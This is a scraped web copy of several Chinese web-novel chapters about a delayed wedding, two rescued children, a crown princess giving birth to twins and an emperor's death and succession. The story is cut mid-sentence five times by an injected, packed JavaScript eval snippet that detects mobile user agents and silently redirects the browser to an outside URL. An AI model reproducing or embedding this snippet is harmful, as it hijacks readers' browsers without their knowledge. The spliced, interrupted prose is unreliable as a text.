原本叶寒衣还在劝父亲稍安勿躁,但等到婚期的头一天晚上,戈叙白还不见人影,叶寒衣也说不出话来了。 他该不会是后悔了,逃婚了吧? 叶寒衣一个晚上都没有睡好,第二天一早起来,眼底一片青黑,整个人看上去十分憔悴。 王府的下人都有些拿不定主意,今日这亲,到底是成还是不成? 叶寒衣的母亲霍氏也很着急,生怕出什么变故。 叶寒衣面容沉静,看着梳妆台前的自己,毫不犹豫地道:“给我上妆,亲事如期举行,他一定会赶来的。” 叶寒衣相信,他不是那等不负责任的人,也分得清轻重。 滇南王也下令,一切照旧。 若那戈叙白不来,他就把孙女许给旁人,他的孙女不愁嫁。 谷栖山前段时间便告了假,到了滇南府筹谋二人的婚礼。 戈叙白无父无母,他膝下也无子女,他们师徒,便似父子。 谷栖山正为自家徒弟即将解决终身大事而高兴,就发生了这么一桩事,谷栖山顿时又气又恼。 这小子,简直太不知分寸,什么事能比成亲要紧? 谷栖山前两天就派人去迎,若半道遇到了,便是扛也要把人扛回来,但现在依旧没有半点消息。 今日,滇南王府一片喜庆热闹,朱漆廊柱间缠着红绸,各处灯笼高挂,鎏金喜字耀眼异常。 辰时起,王府门前便车马喧阗,宾客盈门,贺礼堆成了小山。 叶衔峰和霍氏在前头迎客,两人都笑得有些勉强。 待会儿若是新郎没有来,王府的脸就丢大发了,寒衣也要成为大家的笑话。 滇南王的脸色也有些不好看,但他在外人面前素来威严,众人只当他是不舍孙女远嫁之故。 叶淮序前去接人,也迟迟没有回来。 小厮提醒,“王爷,还有小半个时辰吉时就到了,可是姑爷他……” 滇南王怒道:“还没礼成,喊什么姑爷?” 自己这回真是看走眼了。 外面的宾客还不知道发生了什么,喜宴上依旧一派喜气盈盈。 再有两刻钟就是吉时了。 滇南王终于按捺不住,起身就要往喜房走。 他要去告诉寒衣,给她换个夫君。 军中有个后生,是某个副将的儿子,对寒衣早有情谊,那副将便曾试探过结亲之意,滇南王也曾考验过对方,样貌人品都十分不错,配得上寒衣。 最主要是,离家近,寒衣嫁过去,一日三餐在娘家吃都没问题。 比那劳什子戈叙白强多了。 滇南王刚抬步,身后就传来小厮激动的声音。 “来了,来了,王爷,新郎来了,来迎亲了。” 滇南王脱口,“哪个新郎?” 一**踏步而来,笑着接话,“祖父,您这话说得,新郎自然是您亲自把关挑选的戈叙白。” 是前去接人的叶淮序,他不负众望,把人找到了。 滇南王紧绷的神色稍稍松缓,整个心也彻底放了下去。 但心中依旧存了怒气,脸上自然摆不出好脸色来。 “哼,他还知道来!” 叶淮序笑着劝解,“祖父,这件事另有隐情,您且听我把话说来。我这妹夫智谋无双,在五羊邑时设了一出引蛇出洞,成功地把太子妃的一双弟妹救了出来,人贩子也被绳之以法。” “而后他想快马加鞭地往滇南府赶,但陆家小公子和小小姐受了惊吓,不愿相信旁人,独独信赖我这妹夫,无法,妹夫能把两人带上了,因此路上才走得慢了些,但好在,也算是赶上了,也算是双喜临门了。” 这番话自然是戈叙白请大舅兄帮忙解释的,叶淮序本也有气,但戈叙白太会做人,直接给他送了一把宝剑,叶淮序就麻溜地倒戈了。 除了滇南王这,叶衔峰和霍氏那头,也派了人前去解释,极力挽回形象。 滇南王闻言,面色稍缓。 若是这么原因, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134875|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒是情有可原。 终归,孩子算是找到了,也算是功德一件。 叶寒衣也收到了消息,她一直紧绷的心弦彻底放了下去。 这个时候她才发现,自己的双手一直紧紧握着,掌心早已经被掐出一道道指痕来了。 那头,戈叙白换上了一身崭新的新郎服,意气风发地骑在马上。 ——这是大家看到的样子。 实际上,他掐算着时间,心都提在嗓子眼上。 现在也是争分夺秒,片刻不敢耽搁。 便是身上这身喜服,也是着急忙慌让手下给他提前备好,他匆忙穿上的。 这会儿他脸上的汗都没来得及擦。 世上大约没有比他更加狼狈的新郎了。 虽然匆忙,但好在算是赶上了。 吉时到,新郎迎亲的队伍也到了滇南王府门前,叶寒衣的视线被遮挡,她只觉外面一片锣鼓喧天,热闹非凡。 戈叙白冲破了重重阻碍,终于接到了自己的新娘。 戈叙白低声道:“对不起,让你久等了。” 叶寒衣没有回话,只是由喜娘搀着往外走去,每一步都走得分外平稳,满是安心。 谷栖山为戈叙白准备了一处宅子作为临时喜宅,戈叙白接到了新娘子,拜别父母双亲,送亲队伍便往那处宅子而去。 戈叙白的目光落在了站在迎亲队伍最前方的两个小人身上。 他们也已经拾掇了一番,换上了一身喜庆的小衣裳,陆砚修脸上虽带伤,但恢复得很快,不算严重,陆星辰更是生得玉雪可爱,小脸洗得干干净净的,瞧着分外讨喜。 二人手里提着鎏金宫灯和莲花灯,灯面绘着“和合二仙”“麒麟送子”的图案。 他们兄妹二人,俨然成了提灯童子。 提灯童子需在迎亲队伍最前列引路,灯焰需长明不灭,以求早生贵子之寓意。 陆砚修和陆星辰兄妹生得好看,他们做提灯童子更有儿女双全的寓意,简直再合适不过。 此事是陆砚修提出来的,他们兄妹得戈将军相救,总要做些什么,方能报答一二。 戈叙白瞧见那兄妹二人都愣了愣。 他乃一介武夫,自然没想到这一茬。 待明白过来,他的脸上也不由多了几分柔和。 喜娘笑盈盈地吆喝,“起轿,新娘子出嫁咯。” 第511章 回京城 叶寒衣坐在花轿中,听着外头吹吹打打的声音,唇角是一抹难掩的甜蜜。 到了喜宅,提灯童子开路,新娘子入门。 接下来便是拜堂礼,一切都水到渠成,新娘子被送入了洞房。 谷栖山端坐上首,亲眼看着他们行礼,眼底浮起一抹湿润。 他这辈子,都不可能有自己的子嗣。 但是能亲眼看到唯一的徒弟娶妻,他的人生便也圆满了。 洞房中,戈叙白用喜秤把叶寒衣的红盖头挑开,一张盛装打扮的妍丽容颜便展现在人前。 喝合卺酒时,二人离得很近,呼吸交缠在了一处,不知是谁先乱了气息。 陆砚修和陆星辰兄妹两个提灯童子也在喜房之中,两人看着盛装的新娘子,只觉得美极了。 再看戈叙白,觉得他笑得嘴巴都快咧到耳后根去了,看上去莫名有几分傻气。 “礼成!祝新郎新娘百年好合,早生贵子!” 众人齐齐恭贺,叶寒衣的耳根微热。 戈叙白握了握她的手,却不得不很快分开。 他还要到前头待客。 “等我。” 戈叙白要把两个孩子一起带走,被叶寒衣拦住了。 “外头乱哄哄的,也没人照应他们,便让他们留下吧,我也饿了,和他们一块儿用膳。” 戈叙白自是同意了。 陆星辰很高兴,她喜欢眼前这漂亮新娘。 陆砚修却有些不自在,他毕竟已经九岁了,是大孩子了,也有了男女之别。 若非是提灯童子,他都不会进新房来。 但叶寒衣没有这么多讲究,她只把两人当孩子看。 这两个孩子还是陆家的,叶寒衣待他们便更加温柔和气,吩咐下人去准备了孩子爱吃的菜。 叶寒衣受不了身上这厚重的妆容和头饰,便先去更衣洗漱,也让丫鬟带两个孩子下去好好洗一洗,换一身新衣裳。 待她从浴房出来,桌上已经摆了满桌的饭菜,两个孩子也已经洗漱一新,规规矩矩地坐在桌前,并没有动筷子。 见到叶寒衣来了,两人立马起身。 叶寒衣问,“怎么不先用膳?” 陆砚修一脸老成,“我们还不饿。” 这话刚落,他的肚子就发出了一声响亮的嗡鸣。 陆星辰听了,她的肚子也随之叫了起来,足足好几息才停下。 陆砚修和陆星辰的脸都红透了,恨不得找个地缝钻进去躲一躲。 叶寒衣忍不住噗嗤笑了。 “饿了便吃,在这里不必拘谨。” 两人的脑袋垂得更低了。 叶寒衣自己率先入座,两人这才跟着坐下来,一起吃了起来。 两人跟着戈叙白一路赶路,虽坐着马车,但一路上甚是颠簸,且戈叙白为了赶时间,几乎没日没夜地跑,他们既没有吃好也没有睡好。 但他们不敢抱怨半分,因为他们本就是拖累。 而今终于能坐下来好好地吃一口饭,两人都胃口大开。 但碍于以往所学的礼仪规矩,硬是不敢狼吞虎咽。 叶寒衣看着两个孩子,当真是越看越喜欢。 待他们吃得差不多了,叶寒衣才问起了他们这段时间的经历。 陆星辰闻言,小嘴一扁,立马就有些想哭了。 她想回家,她想姨娘。 但她不敢哭,硬生生地忍住了。 陆砚修语气沉稳,将事情始末道来。 他刻意着重多说了戈叙白救他们的经过,语气真诚而感激。 “这次,真的多谢戈将军出手相救,若没有他出谋划策,引蛇出洞,我们现在定然还被困在荔湾村里,戈将军对我们有再造之恩,日后我定结草衔环。” 陆星辰也似小鸡啄米似的连连点头,又睁着一双圆溜溜的大眼睛看着叶寒衣。 “姐姐,这次将军大哥哥来迟了,你不要怪他,要怪就怪我们,一切都是因为我们的缘故。是我们硬要赖上他,才耽误了他的脚程。” 叶寒衣听着这番话,心都要化了。 她抬手抚了抚陆星辰的小脸蛋,笑着道:“我知道了,我不会怪他,你们放心吧。” 两个孩子闻言,这才松了口气。 陆星辰小小地打了个哈欠,叶寒衣看到了,立马让人把他们带下去休息。 临走前,两人还规规矩矩地朝叶寒衣行了一礼,叶寒衣目送他们离开,眼底不由多了几分感慨。 “陆家过继了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141336|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个好孩子,日后,陆家的振兴有望了。” 戈叙白在前头开怀畅饮,回了新房之后又是一番龙精虎猛,与美娇娘好好切磋了一番。 大战几个回合,终于鸣金收兵,二人俱是酣畅淋漓。 难怪都说洞房花烛夜乃人之几大喜事之一,今日亲身体验,方知其中滋味果然妙不可言。 京中。 陆知苒收到了戈叙白派人送来的消息,同时,岭南知府郑开阳的奏折也传了回来。 萧晏辞和陆知苒都第一时间向对方报喜,最后相视一笑。 “这次戈叙白帮了大忙。” “陆家应该好好谢他,殿下,你也要为他请功嘉奖一番。” 萧晏辞笑着点头,“便算是给他的新婚贺礼了。” 想到戈叙白与叶寒衣已然完婚,陆知苒便也露出了笑意。 老天爷跟他们开了个玩笑,好在最后只是虚惊一场,一切都在往好的方向发展。 真好。 陆家那头,陆知苒也已经派人去传信,紫鹃收到了消息,顿时喜极而泣,原本已经病得起不来身,听了这个消息,她瞬间就满血复活,重新开始打理起陆家的庶务来。 老天爷开眼,让两个孩子安然无恙,她别无所能,便只有竭尽全力,把陆家打理好。 若是太子妃事后要拿她问罪,她也认了! 三月初四,叶寒衣三朝回门。 第二日他们就要启程,往西平去了。 戈叙白的假期并不宽裕,此去一路还需耗费不少时间。 霍氏拉着叶寒衣,千叮咛万祝福,满心满眼皆是不舍。 叶寒衣本是大大咧咧的性子,此前也没少离家,但这次的心境与先前却是大有不同了。 以前离开,回来时家还是家,她依旧是叶家最受宠的小女儿。 但这次离开,她已经嫁做人妇了,她有了新的家,这里只是她的娘家了。 那头,戈叙白也正在接受老丈人的训诫。 叶衔峰放了一堆的狠话,大有戈叙白胆敢欺负他女儿,他就扛刀杀到西平去的架势。 戈叙白神色真诚恳切,“岳父放心,小婿定会把寒衣捧在手心,小心呵护,绝不叫她受半分委屈。” 第512章 往日因,今日果 他们在滇南王府吃了一顿饭,晚上也歇在了这里。 翌日一早,他们便启程了。 霍氏和老王妃哭得眼泪连连,叶寒衣也红了眼眶。 叶衔峰绷着脸没说话,滇南王则走到戈叙白的身旁,伸手重重地拍着他的肩膀,手上用力,带着威压。 “好好待寒衣。” 戈叙白承受着滇南王的威压,面不改色,“祖父放心,我定会好好待她。” 再多不舍,也终究要分别。 叶寒衣上了马,一步三回头地踏上了行程。 滇南王府准备了很多嫁妆,几十辆马车,其中有一辆马车里载着的是陆砚修和陆星辰两兄妹。 他们在滇南府只待了短短三天,但这三天他们却过得无比充实快乐。 叶寒衣带着他们去了军中,他们看到了士兵操练,那威严的气势,给了两人极大的震撼。 尤其是陆砚修,他愈发意识到了拥有强大武力的巨大作用。 如果他足够强大,就不会让妹妹陷入危险。 这一刻,他下定了决心,他不仅要好好读书,更要练习武艺,至少让自己拥有足够的自保能力。 之后,叶寒衣还带他们去了跑马场。 她带着陆星辰跑马,戈叙白则在陆砚修的要求下,开始教他学骑马。 戈叙白本以为这三天时间太短,他定学不会,但没想到,陆砚修的悟性极高,竟很快学会了。 虽然骑得不快,但在初学者中已经算是天赋卓绝。 但代价便是,他的大腿内侧被磨破了皮,疼得走路姿势都变得奇奇怪怪。 一行人浩浩荡荡地出发,道路两侧,不少百姓夹道相送。 其中有一个背脊佝偻的老妇,眼底含着羡慕与渴望。 这人便是楚翊安的母亲姜氏。 短短几年时间,她已经从一个雍容华贵,养尊处优的妇人,蹉跎成了一个双手粗糙,背脊佝偻的老妪。 她听人说起太子妃的功绩,心中嫉妒与懊悔交加,日日折磨着她。 明明当初,陆知苒是他们楚家的儿媳妇。 若没有那赵书宁,陆知苒就不会与她儿子和离,那她的商行所有的财富,就全都是他们楚家的。 他们守着摇钱树而不自知啊! 她还见到了陆家的那两个孩子,得知他们本是被拐,又机缘巧合被那位戈将军救下了。 人人都在议论那两个孩子运气好,有福分,又是太子妃的亲弟妹,大难不死必有后福。 姜氏忍不住上前插话,“他们根本不是太子妃的亲弟妹,太子妃没有这样年纪的弟弟妹妹,说不定他们是冒牌的!” 旁人看向姜氏,眼中满是莫名其妙。 “谁敢冒充太子妃的弟弟妹妹?你这疯婆子瞎说什么?” 姜氏急切解释,“我不是疯婆子,我没有瞎说,我知道,我都知道!” 她努力地解释,但无人相信她,只当她在疯言疯语。 姜氏失魂落魄地回到住处。 那是一处三进三出的宅子,一共住了三户人家,他们只有两间不大的房间,厨房都是共用的。 以往,姜氏无论如何都想象不到自己会沦落到与人合住的田地。 但这样的日子,她却已经过了好几年。 便是这样一处宅子,也是楚翊安卖了人情才租下来的。 姜氏回到家,家中冷锅冷灶,她推开房门,一股酒气扑面而来。 楚定峰像一滩烂泥似的醉倒在床上,姜氏见了,顿时怒从心起,火冒三丈,她冲着楚定峰便是一阵咆哮,换来的是楚定峰更大声的怒吼,到后来,就演变成了武力交锋。 隔壁两户人家见了,都早已见怪不怪,大家各做各的事,无人理会。 楚翊安拖着一身疲惫从教练场回来时,就见母亲姜氏在屋子里哭,屋中一片狼藉,他的父亲早已不知所踪。 楚翊安不用多想就猜到了究竟发生了什么。 他疲惫的面容上笼上了一层麻木。 姜氏见他回来,立马开口哭诉,字字句句都是对楚定峰的辱骂,最后又变成了对楚翊安的责怪。 “都怪你,当初若非你色迷心窍,把那赵书宁带回家,陆知苒怎会与你和离?我们楚家又怎会沦落到如此地步?都怪你,你这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141337|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个不孝子,你把我们楚家害惨了!” “你快去建功立业啊,你在西平的时候不是立下了功劳吗?你再去挣功劳啊!你看看我们住的是什么鬼地方,过的是什么鬼日子,你还我的荣华富贵来!” 楚翊安任凭她打骂,始终一动不动。 待她打够骂够了,才转身出了屋。 他去了厨房,开始生火做饭。 曾经不知人间疾苦的大少爷,如今已经练就了十八般武艺,什么事情都能熟练地亲力亲为。 一个铜板,就能压倒一个英雄汉。 这些活不自己做,就只能等着饿死。 他麻木地完成着手上的动作,脑中却不停地回放着姜氏方才那些话。 姜氏让他去建功立业,但这谈何容易? 上次,他在攻打南越国一战中立下了功劳,被招纳进了滇南军中,当了什长,手底下管着十个人。 这芝麻绿豆大的官职,是他拼了命才挣来的。 他兢兢业业地干了几年,如今得了升迁,成了队正,手下人从十人变成了五十人。 最近天下太平,滇南无战事,他想要继续往上爬,很难。 他知道这一点,心中也不敢怀抱希望,只想踏踏实实,本本分分地过好当下的日子。 但每次他回到这个家,总有数不尽的烦恼和抱怨等着他。 父亲的颓废,母亲的辱骂,还有时不时就会被提起的过往,像是一根刺,狠狠地扎进他的心里,叫他在夜深人静的时候辗转反侧,一遍遍地体会着悔不当初悔的滋味。 老天爷对每个人都是公平的,当初他种下的因,而今变成了果,作用在他的身上。 不知道多少次,他都不想活了,想着索性就这么**,一了百了。 但他是个懦夫,他怕死,哪怕活得不如一条狗,他也还是想要活着。 而孝道如同一座大山一样,沉沉地压在他的身上。 后半辈子,他都必须要背着这座令人窒息的大山,缓步前行。 灶台内烛火跳动,火光映出一道背影,明明高大宽厚,却不堪重负,早早地佝偻了。 第513章 陆知苒生产 春暖花开,戈叙白和叶寒衣的队伍一路行走都很顺利。 路上,陆砚修提出想要上马跑一段,戈叙白也有心考教他,便答应了。 本以为陆砚修会知难而退,但没想到,这小子好强,即便双腿疼痛,却没有抱怨半个字,一路下来,硬是把骑术练娴熟了。 戈叙白见此,对他不由生出了爱才之心。 这小子若是在他的手下,自己定要好好培养他。 只可惜,他是陆家过继的孩子,未来是要撑起陆家门楣的,自己可拐不走。 叶寒衣这几日腰酸,便陪着叶星辰坐在马车中。 一路上,小丫头都掀着帘子往外看,看到什么都新奇,满嘴的“哇”,没有停过。 叶寒衣见此,眉眼间也不觉露出柔和之色。 大家闺秀轻易没有机会出门,这或许会是她为数不多的一次出行经历了。 这一趟旅程,定然会成为她记忆中最浓墨重彩的一笔。 在路上走了将近二十天,一行人终于抵达京城。 戈叙白将他们送到京城,没来得及歇口气,自己就带着心腹往西平赶去。 西平军务繁忙,他已经离开了一个多月,没有时间继续在京城逗留。 而叶寒衣还要入宫拜见柔贵妃,再与好姐妹们话别一番,不想这么匆忙地离开。 所以,他们这对新婚夫妻迎来了第一场分别。 叶寒衣领着两个孩子去了东宫,陆知苒挺着大肚子亲自来迎他们。 叶寒衣见到她那硕大的肚子,顿时惊呼出声。 陆砚修和陆星辰原本有些紧张,也一下被那肚子吸引了注意,两个人四只眼睛直愣愣地盯着。 这肚子可真大,就像是里面揣了个气球似的。 陆星辰童言童语,“里面住着弟弟妹妹吗?” 叶寒衣噗嗤笑出声,“这里面住着的是你的外甥外甥女,可不是弟弟妹妹,你的辈分都乱了。” 陆星辰的脸顿时红了,满是羞赧之色。 陆知苒看着这个小妹妹,上次见她时,她还是个要人抱的奶娃子,现在一转眼都已经长大了。 不知是不是错觉,陆知苒觉得陆星辰长得与自己颇为相像,不知情的,只怕会以为她们是亲母女。 到底是血脉相连的亲姐妹。 陆知苒对她便多了几分亲近,笑着把她招到了自己跟前。 陆星辰有些拘谨,缓步走了上前。 “这次定然吃了不少苦吧,可有受伤?” 陆知苒语气温柔,陆星辰便也不再害怕,口齿伶俐地开口,“哥哥一直都在保护我,我没有受伤。后来我们被将军大哥哥救了,他对我们也很好,没有吃什么苦头。一路上我们遇到的还是好人多。” 陆知苒这才看向陆砚修,他神情紧绷,看上去比陆星辰还紧张。 陆知苒语气同样温和,“砚修,你很好,有身为哥哥的样子,陆家当初的选择没有错。” 陆砚修闻言,只觉得心头涌起一股难言的激荡,眼眶阵阵发热。 他这几年兢兢业业地学习,不敢有片刻放松,便是生怕自己不被陆家认可,而今,他终于获得了肯定。 他之前的所有努力,终于有了交代。 到了饭点,陆知苒便命人摆了饭。 “先用了饭再回去,左右已经耽搁了这么久,也不差这一顿饭的时间。” 兄妹二人都老老实实地点头答应。 陆星辰也没有先前那般想家了,滇南之行甚至让她有些乐不思蜀。 萧晏辞今日特意提早回来了,刚好赶上了饭点,丫鬟立马多添了一副碗筷。 而他的到来,让原本放松的兄妹俩瞬间紧绷了起来,饭只敢小口小口地吃,菜也不敢夹了。 叶寒衣见此,便主动帮两人夹菜,还出言打趣。 “你们俩不用这么紧张,他不**。” 两人立马露出了赧然之色,倒是比方才放松了几分。 陆知苒却露出几分异色,她捂着肚子,哎哟了一声,萧晏辞如临大敌. “怎么了?” 陆知苒又哎哟了一声,“我怕是快生了。” 一句话就让众人乱了方寸,反倒是陆知苒十分镇定。 “一切都已经安排妥当了,无需惊慌,只按部就班地安排下去便是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145745|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 萧晏辞很快镇定下来,立马开始指挥安排。 陆砚修和陆星辰也被晾在了一边,没人顾得上他们。 陆星辰有些懵懂,不明所以,陆砚修像小大人似的道:“辰儿马上就要当姨母了。” 他也要当舅舅了。 陆星辰闻言,眼睛立马亮了起来,满心满眼都是欢喜。 没人顾得上他们,他们便自觉地跟在众人后头,安静地待着,不添乱。 御医很快赶来。 一道来的还有蒋南笙。 随着陆知苒的产期临近,萧晏辞对她千叮咛万嘱咐,千万不要到处乱跑。 随有御医和可靠稳婆坐镇,萧晏辞心底里还是更信任蒋南笙,哪怕她自己从未生育过。 而且,蒋南笙还悄悄告诉过他一件事,陆知苒这一胎,十有**是双胎。 起初她没有诊出来,随着月份大了,蒋南笙才慢慢诊出端倪。 她私下告诉了萧晏辞,也道出了她的担忧。 “双胎很危险,此事知苒若知道了,只怕反而会增加她的心理负担。” 萧晏辞的心便一直这么提着,他揣着这个秘密,谁都不敢说。 陆知苒的肚子大得吓人,萧晏辞有时候看了都觉得很是心惊,既期盼着孩子的到来,也紧张害怕,担心生产时的意外。 今日终于发动了,萧晏辞表面上看上去很冷静,但实际上脑子都是懵的。 直到产房里开始传出陆知苒压抑的痛呼声,他的神志才被拉回些许。 他抬步就想往里冲,被叶寒衣拦住了。 “你进去添什么乱?” “我要陪着她。” 叶寒衣依旧拦着不放,“你进去只会让她分心。” 萧晏辞像无头苍蝇似的,开始在原地来回打转,口中一遍遍念着,“怎么还没生出来?” 一盆盆血水端了出来,萧晏辞的拳头握得咯咯作响,心弦也绷到了极致。 不知过了多久,产房中忽然传来一声撕心裂肺的尖叫,紧接着,便是一道嘹亮的啼哭声。 稳婆报喜的声音自产房传出来,“恭喜太子妃,是小皇孙。” 第514章 登基 陆知苒疲惫地要合上眼睛,蒋南笙却一把掐住她的人中。 “知苒,你肚子里还有一个,加把劲,他马上就出来了。” 陆知苒太累了,她使不上半点力气。 蒋南笙当机立断,飞快地给她施针,又往她嘴里塞了一片老参。 同时,产房的门“砰”地一下被撞开了,萧晏辞似一阵风似的冲了进来。 他用力按握住陆知苒的手,“知苒,你别睡,你不能睡……” 不知是蒋南笙的针起了效,还是萧晏辞的呼唤让她清醒,她不知哪儿来的力气,深吸了一口气,狠狠发力,下身一阵剧痛,紧接着便是浑身一轻。 稳婆欢喜的声音传入耳中,“恭贺殿下双喜临门!太子妃娘娘福泽深厚,诞下麟儿麒女一对!小皇孙声若洪钟,小郡主玉雪晶莹,真真是龙凤呈祥、日月同辉之吉兆啊!” 听着这声音,陆知苒终于撑不住,昏睡了过去。 太子妃诞下一双龙凤胎,这个喜讯第一时间传进了宫中。 德丰帝喜得大笑三声,原本笼着死气的面上也瞬间容光焕发起来。 他当即下旨,给东宫送了一大笔丰厚的赏赐,有给龙凤胎的,也有给陆知苒这个大功臣的。 柔贵妃也欢喜得找不着北。 她朝着几个方向连连祷告,感谢神佛,让陆知苒平安生产,而且一生还是两个。 如此,萧晏辞有了后,看那些老东西还有什么可说的? 陆知苒昏睡了一天一夜,终于醒了。 刚一醒来,就对上了萧晏辞那胡子拉碴,满是担忧的面容。 见她醒了,萧晏辞连忙一把握住她的手,语气轻柔,嘘寒问暖。 “你感觉怎么样?身上还疼吗?饿不饿?想吃什么我让厨房去做。” 陆知苒哑声,“孩子呢?” 萧晏辞立马让奶娘把孩子抱了来。 两个小人儿,小小的一只,身上也是红彤彤的,像是两个小猴子。 陆知苒蹙眉,有些失望,自己拼尽全力生下来的孩子,竟然长得这般丑? 谁知萧晏辞却面不改色地夸,“你瞧,他们长得多好看,不愧是我们的孩子。” 陆知苒:…… 这人是眼瞎了吗? 陆知苒疲惫地又闭上了眼睛。 东宫收到了很多贺礼,陆家也送来了贺礼。 陆家的贺礼并不起眼,却是精心准备的。 若没有陆知苒这层关系,各地官府定然不会如此不遗余力地帮忙找人,两个孩子能找回来堪称奇迹,紫鹃对陆知苒心怀感念,哪怕自己备的礼不入眼,也是自己的一份心意。 最让他们没想到的是,这一日东宫迎来了两位贵客。 是德丰帝和柔贵妃。 孩子刚出生不超过三天,还不能见风,所以不能入宫,德丰帝和柔贵妃都没有见过孩子。 没想到他们竟自己出宫来探望孩子了。 正所谓隔辈亲,两人见到两个襁褓中的孩子,高兴得容光焕发,抱着不肯撒手。 德丰帝的精神头好极了,好似瞬间恢复了往日神采。 他还给两个孩子赐了名,小皇孙名为萧怀瑾,小郡主名为萧令仪。 德丰帝的孙儿孙女不少,但他亲自赐名的,这还是头一份。 萧晏辞连忙叩首,代一双儿女谢过德丰帝的恩典。 柔贵妃看过了孩子,则去看了陆知苒,叶寒衣也在。 她尚在月子里,不便拜见德丰帝。 陆知苒要起身,被柔贵妃按了回去。 “好好躺着别动,你现在的首要重任便是好好休养。” 柔贵妃又细细地打量着陆知苒,观察她的面色。 “还是有些憔悴,要多补一补。” 陆知苒想到每天端上桌的那些大补的吃食,顿觉胃里翻涌,实在是吃不下。 柔贵妃是过来人,又细细叮嘱了一番她坐月子的诸多注意事项,陆知苒都一一应了下来。 说着又点叶寒衣,“你也好好听着,日后你坐月子的时候,也要格外注意着些。” 叶寒衣不由得打了个寒战。 “生孩子太可怕了,我才不想生。” 她新婚燕尔,原本正是甜蜜之际,也幻想着自己怀孕生子的情形,眼下,她是半点都不敢想了。 那天听着陆知苒生孩子的惨叫声,就将她吓退了。 柔贵妃有些没好气地嗔她,“净说些孩子话。” 帝妃出宫,也不能久待。 时间差不多了,柔贵妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145746|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起身准备回宫。 临走前,她欲言又止,最后压低了声音,“皇上的状态只怕……你们都做好准备。” 二人微微一惊,很快反应过来。 柔贵妃的意思是,皇上这是回光返照。 难怪,他今日看上去精神焕发,根本不像是濒死之人。 但实际上,他的身体早已经油尽灯枯, 亲眼看看自己心心念念的孙儿孙女,大概是他这辈子最后的心愿了。 当晚,德丰帝睡了一个好觉,这一觉睡下去,他就再没有醒过来。 翌日一早,丧钟敲响。 皇上驾崩了。 萧晏辞早有预料,但事情真正到来,心头依旧升起一股难言的悲痛。 冯有才背脊佝偻了许多,他向文武百官宣读了德丰帝的遗旨。 “……皇太子萧晏辞,仁孝聪睿,德量渊深,宜承大统。着即皇帝位,以奉宗庙,以安黎元。内外文武群臣,当同心辅弼,共襄新政。” “朕身后丧仪,务从俭约。天下臣民,不必循旧制守丧三年,以日易月,服丧半载即可。其间,婚嫁吉庆之事不禁,惟禁百日之内作乐宴游,以表哀思。钦此。” 萧晏辞和众臣齐齐跪下领旨。 此前,德丰帝以替身代为受过,躲过萧晏临的毒害,那替身死后葬入了皇陵,事后德丰帝命人重启梓宫,但那皇陵的整体设计也毁了,不可再用。 这几年,德丰帝命人重新修建了皇陵,但相较于原先的规格,已经是简之又简。 他已然看开,人死灯灭,便是陵墓修得再豪华,**便是**,与其把银子浪费在这上面,不如多给百姓谋取一些福祉。 众人谨遵德丰帝遗旨,身后事一切从简。 先帝下葬之后,便是新帝的登基大典。 金銮殿上,朱漆蟠龙柱巍然矗立,九阶丹陛铺陈猩红毡毯,两侧文武百官按品肃立,禁军甲胄森然,仪仗如林。 殿外九声净鞭炸响,太子萧晏辞身着十二章衮冕,玄衣纁裳,玉带垂绶,踏着《承天命》雅乐缓步而入。 冗长的仪式结束,群臣再次叩拜,至此,太子登基为帝,年号永熙。 